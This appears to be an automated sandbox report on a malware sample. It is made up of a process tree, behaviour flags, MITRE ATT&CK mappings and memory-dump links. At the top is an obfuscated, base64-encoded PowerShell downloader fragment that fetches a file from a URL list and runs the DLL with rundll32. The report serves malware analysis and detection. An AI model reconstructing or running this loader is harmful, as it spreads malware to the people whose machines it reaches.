gAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1304
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Tysfljy\Yze_9vl\K3qe8qs_m.dll,#1
      4⤵
      Loads dropped DLL
      Drops file in System32 directory
      Suspicious use of WriteProcessMemory
      PID:508
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uoqt\qsois.mlo",RunDLL
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2728

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/508-12-0x00000000029C0000-0x00000000029E2000-memory.dmp

Download

memory/1400-2-0x00007FFB52C70000-0x00007FFB532A7000-memory.dmp

Download

memory/2728-14-0x0000000000180000-0x00000000001A2000-memory.dmp

Download

memory/2756-7-0x000001885D330000-0x000001885D331000-memory.dmp

Download

memory/2756-6-0x000001885D020000-0x000001885D021000-memory.dmp

Download

memory/2756-5-0x00007FFB4BB80000-0x00007FFB4C56C000-memory.dmp

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads